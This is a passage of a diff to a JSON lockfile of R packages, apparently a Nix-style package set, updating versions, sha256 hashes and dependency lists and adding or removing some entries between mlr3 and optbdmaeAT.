"0.12.0", + "sha256": "1vfd4llc558f3rvdr6ykfsa7cxjcivizslsszmr7c1qdm8ly8jf7", "depends": ["R6", "checkmate", "data_table", "mlr3", "mlr3misc", "paradox"] }, "mlr3mbo": { "name": "mlr3mbo", - "version": "0.2.9", - "sha256": "1wgf3ikywczpkddqpjf3cmvqr083p4l75ifv60mlxkg7fhpnm61g", + "version": "0.3.0", + "sha256": "1rqimfbq3lgw72szm5gjnn5112rxfqcrhan0zc72fqrqyn37205s", "depends": ["R6", "bbotk", "checkmate", "data_table", "lgr", "mlr3", "mlr3misc", "mlr3tuning", "paradox", "spacefillr"] }, "mlr3measures": { @@ -89925,8 +89559,8 @@ }, "mlr3misc": { "name": "mlr3misc", - "version": "0.17.0", - "sha256": "1d9d2z2qvgs0b0z8l8myw7rgb03w2zxh38kivi5403rqng0xdp1z", + "version": "0.18.0", + "sha256": "1x8h65p0b12a7ld98a4dcrr67rak7psk3izacy097sbp3x9518k5", "depends": ["R6", "backports", "checkmate", "cli", "data_table", "digest"] }, "mlr3oml": { @@ -89985,9 +89619,9 @@ }, "mlr3tuning": { "name": "mlr3tuning", - "version": "1.3.0", - "sha256": "1fa2hd6mrzkcygwhmxd5yzs0yfvzkw7k3v73c7rdbn3bangmafmi", - "depends": ["R6", "bbotk", "checkmate", "data_table", "lgr", "mlr3", "mlr3misc", "paradox"] + "version": "1.4.0", + "sha256": "0jb4880a7ys4d31bh1b75sb40cs3813dvvsc6r4mv57bss87ak3q", + "depends": ["R6", "bbotk", "checkmate", "cli", "data_table", "lgr", "mlr3", "mlr3misc", "paradox"] }, "mlr3tuningspaces": { "name": "mlr3tuningspaces", @@ -90189,8 +89823,8 @@ }, "mmeta": { "name": "mmeta", - "version": "3.0.1", - "sha256": "1isdi2vjqy6nvraa2d5j03pbax991wmvlrzcwkghxsqj9j2wbw0x", + "version": "3.0.2", + "sha256": "1aal8rm9i1qjsqz28x37sgi46jn4k66p5fv12n51fap94nbanrgk", "depends": ["aod", "ggplot2"] }, "mmiCATs": { @@ -90255,8 +89889,8 @@ }, "mmrm": { "name": "mmrm", - "version": "0.3.14", - "sha256": "04rzb1bww8rdnpawwcx16kp5x0zfdhi23q4v7avb3c6ilw641s65", + "version": "0.3.15", + "sha256": "0c5hv0slifrwslhl5d556yqhnmyxar8dkyc0jbzlimqd83jx2b8k", "depends": ["Matrix", "Rcpp", "RcppEigen", "Rdpack", "TMB", "checkmate", "generics", "lifecycle", "nlme", "stringr", "testthat", "tibble"] }, "mmsample": { @@ -90483,8 +90117,8 @@ }, "modelbased": { "name": "modelbased", - "version": "0.11.0", - "sha256": "1ir5mllxya129x6pb35s68pkf6j8m0l958s1m7idn991mk8yphqz", + "version": "0.11.2", + "sha256": "18fk4m0i363ynihd0q7nybkfn3mv3d37mpyjmf0vyv3bdf2ngl68", "depends": ["bayestestR", "datawizard", "insight", "parameters"] }, "modelbpp": { @@ -90555,8 +90189,8 @@ }, "modelsummary": { "name": "modelsummary", - "version": "2.3.0", - "sha256": "1bhbiw5g08zibzc3nzxwa2inhg901frn43ifj6s3fh704didjx09", + "version": "2.4.0", + "sha256": "1v1wy7lmp0wk7fxac7x9lkyzbpp3q98agq9mp3y0hc9p7gl6rb3v", "depends": ["checkmate", "data_table", "generics", "glue", "insight", "parameters", "performance", "tables", "tinytable"] }, "modeltests": { @@ -90681,8 +90315,8 @@ }, "modsem": { "name": "modsem", - "version": "1.0.8", - "sha256": "05hf9kjgid9jf9gb7b6rvcwrwzbk5ddpjkf9b058k6lxhfyp88a9", + "version": "1.0.10", + "sha256": "0lhrvy6fp7h87yfxq7i761ycjwqs4dh0pzfhdx38y4ib475ibh4c", "depends": ["MplusAutomation", "Rcpp", "RcppArmadillo", "dplyr", "fastGHQuad", "ggplot2", "lavaan", "mvnfast", "mvtnorm", "nlme", "plotly", "purrr", "rlang", "stringr"] }, "moduleColor": { @@ -90873,8 +90507,8 @@ }, "moocore": { "name": "moocore", - "version": "0.1.6", - "sha256": "1prjf6hspf78flkhzmhyignvmlhdafhn4cp9n00nmqqvy9nziz8j", + "version": "0.1.7", + "sha256": "1w8r7g0iajzy66308pzbx7ga1qqgjrjfvfa5z4wkzmm1yf0cacwg", "depends": ["Rdpack", "matrixStats"] }, "moodef": { @@ -90945,9 +90579,9 @@ }, "morepls": { "name": "morepls", - "version": "0.2", - "sha256": "1k19br1206l6n5cpqf7kzns9ggp2xixf1ynzp4vpnwk4b0gsp4wm", - "depends": ["ggplot2", "ggrepel", "pls", "rlang"] + "version": "0.2.1", + "sha256": "149ipvkjl5r407nxa4hrpq6nsb12g5m0j0fq52bbv3lrzdrafv59", + "depends": ["descriptio", "ggplot2", "ggrepel", "pls", "rlang"] }, "morestopwords": { "name": "morestopwords", @@ -90991,6 +90625,18 @@ "sha256": "1cq1xmabx4glgkxh6vn33ma1mb97079p5mmlydrm07h7r542k4vz", "depends": ["coda", "deSolve", "dplyr", "epitools", "ggplot2", "gridExtra", "magrittr", "reshape2", "rjags", "tibble", "tidyr", "zoo"] }, + "morseDR": { + "name": "morseDR", + "version": "0.1.2", + "sha256": "05gvfgdvsdjpi1ssqz8lqk76z3i0i6920krj95m8v54zpnjnypx5", + "depends": ["coda", "ggplot2", "rjags"] + }, + "morseTKTD": { + "name": "morseTKTD", + "version": "0.1.3", + "sha256": "008dgw4xrnp6482cg6n91q3h09hr4nvzrvzj41cq5nh06lf05lxx", + "depends": ["BH", "Rcpp", "RcppEigen", "RcppParallel", "StanHeaders", "deSolve", "ggplot2", "gridExtra", "rstan", "rstantools", "testthat", "zoo"] + }, "mort": { "name": "mort", "version": "0.0.1", @@ -91027,11 +90673,11 @@ "sha256": "0y6ii234paknak0p8cm5wcjia4s4wh7iixjbbvdgp0w17c05dckh", "depends": [] }, - "mosaicModel": { - "name": "mosaicModel", - "version": "0.3.0", - "sha256": "1gx4rzh0h922gyb50vz6q5vqqp5ry5hf2mq95948q2gcady91k5w", - "depends": ["MASS", "caret", "dplyr", "ggformula", "ggplot2", "knitr", "lazyeval", "mosaicCore", "testthat", "tibble", "tidyr", "tidyverse"] + "mosclust": { + "name": "mosclust", + "version": "1.0.2", + "sha256": "1gw2ywv2izhmpi967ls67nmz77vaccpam90zgvlyi00v5n2zrjqx", + "depends": ["cluster", "clusterv"] }, "mosqcontrol": { "name": "mosqcontrol", @@ -91233,14 +90879,14 @@ }, "mpmsim": { "name": "mpmsim", - "version": "3.2.0", - "sha256": "0fg4c3ibci1lwn7z5442lj2j9cl2yj3hgamvhag8snacpc018mjx", + "version": "3.2.1", + "sha256": "0fqwy52wn86kvyi28z6pc68pb8jkg4zzq7rqjz4qlbg6agzfm3vj", "depends": ["Rage", "Rcompadre", "dplyr", "ggplot2", "popbio", "popdemo", "reshape"] }, "mpoly": { "name": "mpoly", - "version": "1.1.1", - "sha256": "10is69ks22ka1cqw3xk0fvy4z3b2drm8lanqwj178qrzj7ipf7i0", + "version": "1.1.2", + "sha256": "1jhcnnb7g0mgkivn94y7mq0jb0qny5qgnzb9grd7qmlxhgzmmvyv", "depends": ["ggplot2", "orthopolynom", "partitions", "plyr", "polynom", "stringi", "stringr", "tidyr"] }, "mpower": { @@ -91311,8 +90957,8 @@ }, "mrbin": { "name": "mrbin", - "version": "1.9.2", - "sha256": "1r1ax748mc82khy8qr8qsj3cbdjqrl4hlf00jfv1k5jhghg1c9v7", + "version": "1.9.3", + "sha256": "0xxxv0kyalar166nmhal4xgnbxkk61j403xabw6dh1i4cfb5q4g7", "depends": [] }, "mrbsizeR": { @@ -91345,12 +90991,6 @@ "sha256": "0b2wjwj62z6jqam7a1b0gjbp5dxd2n92p5hv2lmxlbai6m7l0ivp", "depends": ["ISOcodes", "checkmate", "cli", "curl", "digest", "dplyr", "glue", "httr2", "magrittr", "memoise", "rdflib", "sf", "wrapr", "xml2"] }, - "mrf": { - "name": "mrf", - "version": "0.1.6", - "sha256": "0jqpx0ng0l8f7y941awpi82yqbv8ir0sixiw6zdkqpj82d9a7j9m", - "depends": ["DEoptim", "forecast", "limSolve", "monmlp", "nnfor"] - }, "mrf2d": { "name": "mrf2d", "version": "1.0", @@ -91423,12 +91063,6 @@ "sha256": "0m2cijzdgxq3f0ncqvk8klb2hvndm5rzl4swwh62wck12n7z250g", "depends": ["cli", "dplyr", "lubridate", "magrittr", "purrr", "rlang", "sjlabelled", "stringr", "tidyr", "tidyselect", "tidytable"] }, - "msaFACE": { - "name": "msaFACE", - "version": "0.1.0", - "sha256": "1lh8crz507nlddm946lmn73xbnsh4cs0kg238ysnsvxs726c83fs", - "depends": [] - }, "msaR": { "name": "msaR", "version": "0.6.0", @@ -91707,9 +91341,9 @@ }, "mtrank": { "name": "mtrank", - "version": "0.1-1", - "sha256": "1vriyanhiia4drbrydj7hnxrrcnrdlpafkj6yjym6zjdzk13mphg", - "depends": ["PlackettLuce", "dplyr", "magrittr", "meta", "netmeta"] + "version": "0.2-0", + "sha256": "1prpmrfrchzkygx5nsq2yp1hl8z5bn2ax05s798qaqcck7cw5aa3", + "depends": ["PlackettLuce", "dplyr", "ggplot2", "magrittr", "meta", "netmeta"] }, "mtscr": { "name": "mtscr", @@ -91809,8 +91443,8 @@ }, "mult_latent_reg": { "name": "mult.latent.reg", - "version": "0.2.1", - "sha256": "02xnmx6p501mkmm33p165kw3x6inxffjxvgm67i9hk45izcvcimh", + "version": "0.2.2", + "sha256": "1m7ka877qyqz0j83par2g4dj0l34qmk9azm3jhprjqva5n9kn0bs", "depends": ["lme4", "matrixStats", "mvtnorm"] }, "multDM": { @@ -91891,6 +91525,12 @@ "sha256": "1dq1s1l1q720hkymdwxh9gizg9qjbinq762jvq9f3p5sqhbx2fhf", "depends": [] }, + "multiDEGGs": { + "name": "multiDEGGs", + "version": "1.0.0", + "sha256": "0fs4l8bs92bmf9zf7vnj335ii2kwbnmp599k6h42ypg92sp076y0", + "depends": ["DT", "MASS", "knitr", "magrittr", "pbapply", "pbmcapply", "rmarkdown", "sfsmisc", "shiny", "shinydashboard", "visNetwork"] + }, "multiDimBio": { "name": "multiDimBio", "version": "1.2.5", @@ -92019,9 +91659,9 @@ }, "multifear": { "name": "multifear", - "version": "0.1.3", - "sha256": "0240dk3cqdm9x9y139p5i0gj374f58qxnqw32cii1abhv852ijfm", - "depends": ["BayesFactor", "bayestestR", "bootstrap", "broom", "dplyr", "effectsize", "effsize", "esc", "ez", "forestplot", "ggplot2", "nlme", "purrr", "reshape2", "stringr", "tibble"] + "version": "0.1.4", + "sha256": "0q9ajx6j50f34jl9awwm3fz2zjlb6i5hwi5alnw9b5g0kfasi337", + "depends": ["BayesFactor", "bayestestR", "bootstrap", "broom", "dplyr", "effectsize", "effsize", "esc", "ez", "fastDummies", "forestplot", "ggplot2", "nlme", "purrr", "reshape2", "rlang", "stringr", "tibble"] }, "multifunc": { "name": "multifunc", @@ -92085,9 +91725,9 @@ }, "multilevelcoda": { "name": "multilevelcoda", - "version": "1.3.1", - "sha256": "1rakgj40zz526wsjgcbym5b31q2pdxk35z229xfpkhdc627w2954", - "depends": ["DT", "abind", "bayesplot", "bayestestR", "brms", "bslib", "compositions", "data_table", "doFuture", "emmeans", "extraoperators", "foreach", "future", "ggplot2", "hrbrthemes", "loo", "plotly", "posterior", "shiny", "shinystan"] + "version": "1.3.2", + "sha256": "1kw2376idi4jx2xnds1sbmr5jrm91hxkxy14q8j58hd04dw90vf9", + "depends": ["DT", "abind", "bayesplot", "bayestestR", "brms", "bslib", "compositions", "data_table", "doFuture", "emmeans", "extraoperators", "foreach", "fs", "future", "ggplot2", "hrbrthemes", "htmltools", "loo", "plotly", "posterior", "shiny", "shinystan"] }, "multilevelmediation": { "name": "multilevelmediation", @@ -92169,8 +91809,8 @@ }, "multinma": { "name": "multinma", - "version": "0.8.0", - "sha256": "0y7gs7ld0sxwf7kk2vxkhal11n8x31nq15j0jhm0xmlzp7ayb9cd", + "version": "0.8.1", + "sha256": "1ps6g9pw09lxmip6mcqy8nsjdv35daxy2p82r41kci01zw8jnyg6", "depends": ["BH", "Matrix", "Rcpp", "RcppEigen", "RcppParallel", "Rdpack", "StanHeaders", "bayesplot", "copula", "dplyr", "forcats", "ggdist", "ggplot2", "ggraph", "glue", "igraph", "purrr", "randtoolbox", "rlang", "rstan", "rstantools", "stringr", "survival", "tibble", "tidyr", "truncdist"] }, "multinomialLogitMix": { @@ -92349,8 +91989,8 @@ }, "multvardiv": { "name": "multvardiv", - "version": "1.0.10", - "sha256": "05lx348s9bqawrbmgg88zz11bddd7rzhh059p7gq3y1dspnxz6bw", + "version": "1.0.11", + "sha256": "0zrap2ma9lfz3s1ahfzpx9fz0qnc50ia9gmcpaipyrg7m7k8s3dc", "depends": ["MASS", "data_table", "rgl"] }, "multxpert": { @@ -92395,6 +92035,12 @@ "sha256": "0fvj51h10pn5nbpv59z32jmfmm9xc76rg5rs3fiwh737q1fq5481", "depends": ["audio", "crayon"] }, + "musicMCT": { + "name": "musicMCT", + "version": "0.1.2", + "sha256": "0llvpbhqlvpn5f5l36fsig4rwnr45d694w87apdb7pinql23r1k0", + "depends": ["igraph"] + }, "musicNMR": { "name": "musicNMR", "version": "1.0", @@ -92407,12 +92053,6 @@ "sha256": "1mmks8hmvryvh4hv32abcjbcm57566877bfvyj5wxdf8854hz1h0", "depends": ["xml2"] }, - "musica": { - "name": "musica", - "version": "0.1.3", - "sha256": "0cfzfar706l0xdb0n11m18mayj5rrplvf4qry36vgxsiaxcba90r", - "depends": ["data_table", "lubridate", "magrittr", "qmap"] - }, "mutSignatures": { "name": "mutSignatures", "version": "2.1.1", @@ -92437,6 +92077,12 @@ "sha256": "13mq7yjbvnfgmiss95wxys3scmrb6b036g8rcxs1rn1q5wy3sg7b", "depends": ["CommonJavaJars", "JGR", "JavaGD", "multcomp", "mutoss", "plotrix", "rJava"] }, + "muttest": { + "name": "muttest", + "version": "0.1.0", + "sha256": "15zhng4nhhl4l068qn9kdghvly37vcq1k6anagv42457d2apbxfh", + "depends": ["R6", "checkmate", "cli", "dplyr", "fs", "purrr", "rlang", "testthat", "tibble", "treesitter", "treesitter_r", "withr"] + }, "mutualinf": { "name": "mutualinf", "version": "2.0.3", @@ -92565,8 +92211,8 @@ }, "mverse": { "name": "mverse", - "version": "0.2.0", - "sha256": "18r0mclq23abzfn1b34fwv0db45krgy5qifcihs56m2cacwzdc93", + "version": "0.2.1", + "sha256": "0pd05j0g7fpn0yb8mkcjwymzpjpl40lcq5ag79sl1ihpw5kwh8s8", "depends": ["Rdpack", "broom", "dplyr", "ggplot2", "ggraph", "ggupset", "igraph", "magrittr", "multiverse", "rlang", "stringr", "tidyr", "tidyselect"] }, "mvgam": { @@ -92655,8 +92301,8 @@ }, "mvnormalTest": { "name": "mvnormalTest", - "version": "1.0.0", - "sha256": "1hbapcmj1rzrdzlbkay94f3r2388sk60zizh48vbbkc83qlm7xbr", + "version": "1.0.1", + "sha256": "17nixg1cwd6sjypflcx1vwrijnvf2y1m4g4w0ij3cb33xwviz4jd", "depends": ["copula", "moments", "nortest"] }, "mvnormtest": { @@ -92673,10 +92319,16 @@ }, "mvord": { "name": "mvord", - "version": "1.2.5", - "sha256": "08b4q7rbfq1b1ll2xlw1d28m744xng5b6b0xglxvhrxxm1wj3xac", + "version": "1.2.6", + "sha256": "0i9faxkyga00c9qlijy7vblhn6fhibg3lv10qdf8c2bqm3j3kcmd", "depends": ["BB", "MASS", "Matrix", "dfoptim", "minqa", "mnormt", "mvtnorm", "numDeriv", "optimx", "pbivnorm", "ucminf"] }, + "mvout": { + "name": "mvout", + "version": "1.2", + "sha256": "1dpx25afb94748r529vh5fsc3mq25887dp8rqnz3sw71bq0cwlyd", + "depends": ["robustbase"] + }, "mvoutlier": { "name": "mvoutlier", "version": "2.1.1", @@ -92769,8 +92421,8 @@ }, "mxcc": { "name": "mxcc", - "version": "0.0.2", - "sha256": "013ly8zm0i46a2a0ylbydcs1r9iffrc5rd6iqvr8x72pckn0pz3g", + "version": "0.0.3", + "sha256": "0wzlc2lp3ahwiacf1i4xv72bz8sdwi9z05d0dqhwi1lqa6h0jm88", "depends": ["chi", "shotGroups"] }, "mxfda": { @@ -93031,6 +92683,12 @@ "sha256": "0d4w1y6g2dzcs98x7lqnhjadzqcrw2wvn5lbkbsrs1xkf23z6rjh", "depends": ["dplyr", "glue", "lifecycle", "magrittr", "purrr", "stringr", "tidyr", "yaml"] }, + "nasa": { + "name": "nasa", + "version": "1.0.0", + "sha256": "08llbpfav8xgrwjkn47q0ydyiwpgyvf8bnq7rbjf2b0rybbmdjqf", + "depends": ["dplyr", "httr", "jsonlite", "magick"] + }, "nasadata": { "name": "nasadata", "version": "0.9.0", @@ -93039,8 +92697,8 @@ }, "nasapower": { "name": "nasapower", - "version": "4.2.4", - "sha256": "1b0pp85xb4vhkdniq898sp0wypy96y9jd7gcg7ngb6syd9q9zqrz", + "version": "4.2.5", + "sha256": "1k1jp8knvsxh14xrrnpx5dv90xmcbgdkpw9pr01aqwh03pr9km3n", "depends": ["cli", "crul", "lubridate", "readr", "rlang", "tibble", "yyjsonr"] }, "nasaweather": { @@ -93051,8 +92709,8 @@ }, "nascaR_data": { "name": "nascaR.data", - "version": "2.2.1", - "sha256": "0nvnpq9c63c23p102x6i6jc8gx2hqlhh2py2ywy1r20p6hx6qprk", + "version": "2.2.2", + "sha256": "0nf58nn7dz3dxw149n79zrqi4avbv50f6dz1pb4dcwl9xbngmbcw", "depends": ["dplyr", "glue", "purrr", "rlang", "rvest", "stringdist", "stringr"] }, "naspaclust": { @@ -93103,12 +92761,6 @@ "sha256": "1j6m0fddrhq36qfjmj99zs77vxk5waqkshxi37pr2ccnis9hzy9h", "depends": ["crul", "jsonlite", "tibble"] }, - "natstrat": { - "name": "natstrat", - "version": "2.0.0", - "sha256": "1i3qjd787clbafpkjd0mkp6i540061q9xl9kxlgh9f517ksg8zpz", - "depends": ["Rglpk", "caret", "ggplot2", "plyr", "pps", "ramify", "rlang", "sampling", "slam"] - }, "naturaList": { "name": "naturaList", "version": "0.5.2", @@ -93237,8 +92889,8 @@ }, "ncdfCF": { "name": "ncdfCF", - "version": "0.5.0", - "sha256": "1yp9h87ck4jrsb27zx1cx33vy95ppd3cqy83mn01c0g4d6y5ab17", + "version": "0.6.0", + "sha256": "00hys99h9znyx3xbzkllramaraaib6fn5rjswn2x9xy926b8q9q8", "depends": ["CFtime", "R6", "RNetCDF", "abind", "stringr"] }, "ncdfgeom": { @@ -93469,12 +93121,6 @@ "sha256": "16xbvqk02ihqv2lilgsmp777v93m2m6px9wcmpg8lm8xhrbyj4gr", "depends": ["DBI", "R_utils", "cachem", "duckdb", "duckdbfs", "glue", "httr", "memoise", "progress", "thor", "vroom", "zip"] }, - "neotoma2": { - "name": "neotoma2", - "version": "1.0.5", - "sha256": "13l41cypjpiqdkpkdwz7z39iiza2z6jcxj4sgm85713m7ws9dyak", - "depends": ["assertthat", "dplyr", "geojsonsf", "gtools", "httr", "jsonlite", "leaflet", "lubridate", "magrittr", "progress", "purrr", "rlang", "sf", "stringr", "tidyr", "uuid", "wk"] - }, "nephro": { "name": "nephro", "version": "1.5", @@ -93597,8 +93243,8 @@ }, "netdiffuseR": { "name": "netdiffuseR", - "version": "1.22.6", - "sha256": "0f4d0x03970iqxkbr0r9jm8gf28r79rimfnfr1djcajzihxaj7l6", + "version": "1.23.0", + "sha256": "1bgzbhwxkpyyymd09lc1yq0bwz45lz16azx92h9fcksr3ca6psrr", "depends": ["MASS", "MatchIt", "Matrix", "Rcpp", "RcppArmadillo", "SparseM", "boot", "igraph", "network", "networkDynamic", "sna", "viridisLite"] }, "netdose": { @@ -93711,8 +93357,8 @@ }, "nettskjemar": { "name": "nettskjemar", - "version": "1.0.1", - "sha256": "135x4z4mm9drwbmxrd0kvj73ammfq55hnv0khnw2651cxq9wi54b", + "version": "1.0.2", + "sha256": "00k2b7g65wlzfgs69zbafrqmgc6c51fp9gf2xvrd7vxwrddnwsm4", "depends": ["cli", "httr2", "jsonlite"] }, "network": { @@ -93877,12 +93523,6 @@ "sha256": "0ba5wbjsgd77f20flp9zqiasmypbxsmqg2yfw0qqwzjrkp3rvfqi", "depends": ["Rcpp", "RcppArmadillo", "cli", "dplyr", "flipr", "forcats", "furrr", "ggplot2", "igraph", "magrittr", "purrr", "rgeomstats", "rlang", "tibble", "tidyr", "tsne", "umap", "withr"] }, - "neverhpfilter": { - "name": "neverhpfilter", - "version": "0.4-0", - "sha256": "097nfz30pf4bd95l943ccsvndni0n8c6gpcdk5dv02802mcg0h81", - "depends": ["xts", "zoo"] - }, "new_dist": { "name": "new.dist", "version": "0.1.1", @@ -93939,8 +93579,8 @@ }, "nexus": { "name": "nexus", - "version": "0.5.0", - "sha256": "1vsri865x7k69l10b4xw5yjh8rrjl3x3zqc5f6ssascmc3hiascd", + "version": "0.6.0", + "sha256": "0796ysfvk5yf90dyn2j4n7jgpdlw97njpg40wpjn2y2bmzmd4458", "depends": ["MASS", "arkhe", "dimensio", "isopleuros", "khroma"] }, "nfer": { @@ -94035,8 +93675,8 @@ }, "nhdplusTools": { "name": "nhdplusTools", - "version": "1.3.1", - "sha256": "0f6r0l5777mgc1nhzyxy7ir9xf4qyzs8i0sfs7wcbk38pxyw1rdx", + "version": "1.3.2", + "sha256": "0mrqbg2n2grfnkgljs8yxrisb9j29dzax78gb3ph04kn47bvkfm9", "depends": ["R_utils", "arrow", "dataRetrieval", "digest", "dplyr", "fst", "httr", "hydroloom", "jsonlite", "magrittr", "mapsf", "maptiles", "memoise", "pbapply", "sf", "tidyr", "units", "xml2", "zip"] }, "nhlapi": { @@ -94045,6 +93685,12 @@ "sha256": "1c5s7fd9agzk20xi8v38dk8ih6lmn8c90mxncyr996bhipgr7vl3", "depends": ["jsonlite"] }, + "nhlscraper": { + "name": "nhlscraper", + "version": "0.1.1", + "sha256": "1day35808ynzananpsmhbdbbhn4z58z7jl6xhsvdlyf0w3479j1s", + "depends": ["dplyr", "httr", "jsonlite", "magrittr", "tibble"] + }, "nhm": { "name": "nhm", "version": "0.1.1", @@ -94219,6 +93865,12 @@ "sha256": "0y20nik6jrypywqr809891amf9aq6bwf1p0vskr43p0scblbbv0b", "depends": ["withr"] }, + "nisrarr": { + "name": "nisrarr", + "version": "0.1.1", + "sha256": "1gap9qkm4nv7gan0rnbsg9lqqscsa79dc1wmw9vkd70n6k4bf677", + "depends": ["cachem", "dplyr", "glue", "httr2", "jsonlite", "lubridate", "pillar", "purrr", "rjstat", "rlang", "stringr", "tibble", "vctrs"] + }, "nivm": { "name": "nivm", "version": "0.5", @@ -94401,8 +94053,8 @@ }, "nlreg": { "name": "nlreg", - "version": "1.2-2.2", - "sha256": "0gkcxg5m287axhvkl00xy26vidawhhb1ii1s13rh49v0yccwvvqh", + "version": "1.2-4", + "sha256": "05y5d3m3k5frq9mgychv9sqkzgi2kah0v4qbf2vws1lkisg8mh5k", "depends": ["statmod", "survival"] }, "nlrr": { @@ -94665,8 +94317,8 @@ }, "nodbi": { "name": "nodbi", - "version": "0.12.0", - "sha256": "0937scxibjd7l1pxf9x1a1b3l7dnfscv13mcs85xqr11y5apgbx2", + "version": "0.13.0", + "sha256": "1zv5p81iiys0bxwd9913fx95bkh3rch6lbcr66gyvb8lgxd21pf2", "depends": ["DBI", "R_utils", "V8", "jqr", "jsonlite", "stringi", "uuid"] }, "node2vec": { @@ -94869,8 +94521,8 @@ }, "nonprobsvy": { "name": "nonprobsvy", - "version": "0.2.1", - "sha256": "1l4rhkdd2bl7lxajp42y7vlk01vkr7ya7ijmd17sgfsbkid5zkg7", + "version": "0.2.2", + "sha256": "1j5x5ysfcmisr4k9f05w1qaa5hryw3f70p6jf4hqldpri3lwx30x", "depends": ["MASS", "Matrix", "RANN", "Rcpp", "RcppArmadillo", "doParallel", "foreach", "formula_tools", "maxLik", "ncvreg", "nleqslv", "survey"] }, "nonsmooth": { @@ -94941,8 +94593,8 @@ }, "normalize": { "name": "normalize", - "version": "0.1.1", - "sha256": "1ph94nhj661a8zz72zkb3y36fg3iaag0rszy69yg3b0rv35hz058", + "version": "0.1.2", + "sha256": "1vwjz8jdfc76yr94r5ghaxzq5msbjni8j6cvp14m4gnrylkdvl77", "depends": [] }, "normalizeH": { @@ -95199,9 +94851,9 @@ }, "nplyr": { "name": "nplyr", - "version": "0.2.0", - "sha256": "0n9pl6igjpdvsp39d7h5xr64c1ixlhc8bcxpbl70mz95p7jrld8h", - "depends": ["assertthat", "dplyr", "purrr", "rlang", "tidyr"] + "version": "0.3.0", + "sha256": "0njm6bzbdfh34yqqlvkhmxflbp2g9iwm9j1r5f0nn7gsz0m3b6vl", + "depends": ["assertthat", "dplyr", "magrittr", "purrr", "rlang", "tidyr"] }, "npmlda": { "name": "npmlda", @@ -95611,6 +95263,12 @@ "sha256": "044m21116zwbkh55z84pns5l3agvdw50pcza669blmf3za7m2bby", "depends": ["Rcpp", "data_table", "geosphere", "ggplot2", "outbreaker2", "visNetwork"] }, + "o2ools": { + "name": "o2ools", + "version": "0.0.1", + "sha256": "0jy8bmkg6hmsm781jkd26qbck6hhfvdinclwb713rp3xyfx4rmwh", + "depends": [] + }, "o2plsda": { "name": "o2plsda", "version": "0.0.25", @@ -95745,8 +95403,8 @@ }, "occumb": { "name": "occumb", - "version": "1.1.0", - "sha256": "1rfaswipykflwkdiacq66ibbvf2hzzal2ffibsgrl8q1m6frj5k3", + "version": "1.2.0", + "sha256": "1lxngbp0v92ssappc4n8gmxzxzb01jk1xw71jng431a7ha589xxy", "depends": ["checkmate", "crayon", "jagsUI", "knitr"] }, "occupancy": { @@ -95943,8 +95601,8 @@ }, "odr": { "name": "odr", - "version": "1.4.4", - "sha256": "037v6523kbl0izfzyg6lp6h4r5p8w23dp8r1fpx07wyr34q2w8vn", + "version": "1.5.0", + "sha256": "1m6lr75v7ig87c6xv22smq6mwlmp5ka8im6blp5mcvcw2dxc930w", "depends": [] }, "oeli": { @@ -95997,8 +95655,8 @@ }, "officer": { "name": "officer", - "version": "0.6.9", - "sha256": "0r2i0r20d3qf88879qrkk3835207h6yfpx41j79s1j2lqn3b0vn8", + "version": "0.6.10", + "sha256": "0xqcgb7jzxggrvmh4zab67lhg938c46j0rlxhy7k66ldkkxs03l8", "depends": ["R6", "cli", "openssl", "ragg", "uuid", "xml2", "zip"] }, "offlineChange": { @@ -96025,12 +95683,6 @@ "sha256": "0dhkfq1bkbyxj4i9czdg97c7kvxs77948q2yblzmmvdfsq2pfn7p", "depends": ["DT", "bslib", "cli", "glue", "httr", "jsonlite", "readxl", "shiny"] }, - "oglmx": { - "name": "oglmx", - "version": "3.0.0.0", - "sha256": "13axmhbqhv4kkcdsdmp9r7p0d0kyqlsaqgyyllbkxlxb4hfz79b6", - "depends": ["maxLik"] - }, "ogrdbstats": { "name": "ogrdbstats", "version": "0.5.2", @@ -96127,12 +95779,6 @@ "sha256": "0hvz8kab1bwnm36npdsk54yav3ga268a54rirjh1xij0nvc9hwp9", "depends": ["car", "ggplot2", "goftest", "gridExtra", "nortest", "xplorerr"] }, - "omics": { - "name": "omics", - "version": "0.1-5", - "sha256": "1y2x33mfgq98nglhvpr1wq1v6nfiq4njy2yac47x72rpwxsj9vb1", - "depends": ["lme4", "pheatmap"] - }, "omicsTools": { "name": "omicsTools", "version": "1.0.5", @@ -96153,9 +95799,9 @@ }, "omock": { "name": "omock", - "version": "0.3.2", - "sha256": "1hkkz0l9ai7sypzry571bm24bp2cjpm6yrig5b2h9sjz57qkpdwx", - "depends": ["cli", "dplyr", "lubridate", "omopgenerics", "purrr", "rlang", "snakecase"] + "version": "0.4.0", + "sha256": "181k3sqapq927hfpnvg68ld6zlqf5f7cqxrcm43cdp0msmaplf2n", + "depends": ["arrow", "cli", "dplyr", "lubridate", "omopgenerics", "purrr", "readr", "rlang", "snakecase"] }, "omopgenerics": { "name": "omopgenerics", @@ -96271,6 +95917,12 @@ "sha256": "1km8fc9a34ddprmqa3bq9yvsjmjirh5hy67b39r98l72y8z33v0p", "depends": ["RColorBrewer", "Rcpp", "dendextend", "dplyr", "ggplot2", "ggpubr", "htmlwidgets", "plotly", "princurve", "rebus", "reshape2", "smacof", "tidyr", "vcfR"] }, + "onemapsgapi": { + "name": "onemapsgapi", + "version": "2.0.0", + "sha256": "0q3kf9yz6hj59ln9kjwkipd01fiavb5nfsdpjjk9bfs7ib49mf8n", + "depends": ["dplyr", "furrr", "future", "httr2", "purrr", "rlang", "stringr", "tidyr"] + }, "onetime": { "name": "onetime", "version": "0.2.0", @@ -96633,8 +96285,8 @@ }, "openssl": { "name": "openssl", - "version": "2.3.2", - "sha256": "1nw4clg9skm6fnaar72zp00wrk29bjhmh9714a9q0m9wpimcl9cr", + "version": "2.3.3", + "sha256": "0ndzlw5whjayxiw59rn565dlyk46y3c39hmdb7n4gpn3inlhkdxn", "depends": ["askpass"] }, "opentripplanner": { @@ -96651,8 +96303,8 @@ }, "openxlsx2": { "name": "openxlsx2", - "version": "1.15", - "sha256": "1hjc117zzkn9wnr90izajq22xc86r799awi7v4fgkp7jfl3prm5p", + "version": "1.16", + "sha256": "1id4z2l98y432h4430b8fnfivb2kz2ymxx3w8s583bc7115d271l", "depends": ["R6", "Rcpp", "magrittr", "stringi", "zip"] }, "opera": { @@ -96723,8 +96375,8 @@ }, "optbdmaeAT": { "name": "optbdmaeAT", - "version": "1.0.1", - "sha256": "1y1mvcyjihpj1wgjmifhmd10717wr1srp7h87azs4gfypgsiqchn", + "version": "1.0.2", + "sha256": "0k341vpqm3h9fcli04gryqky81nsyc7pv397qy43j1rvd72b5jxm", "depends": ["MASS", "Matrix", "igraph"] }, "optbin": { @@ -96927,8 +96579,8 @@ }, 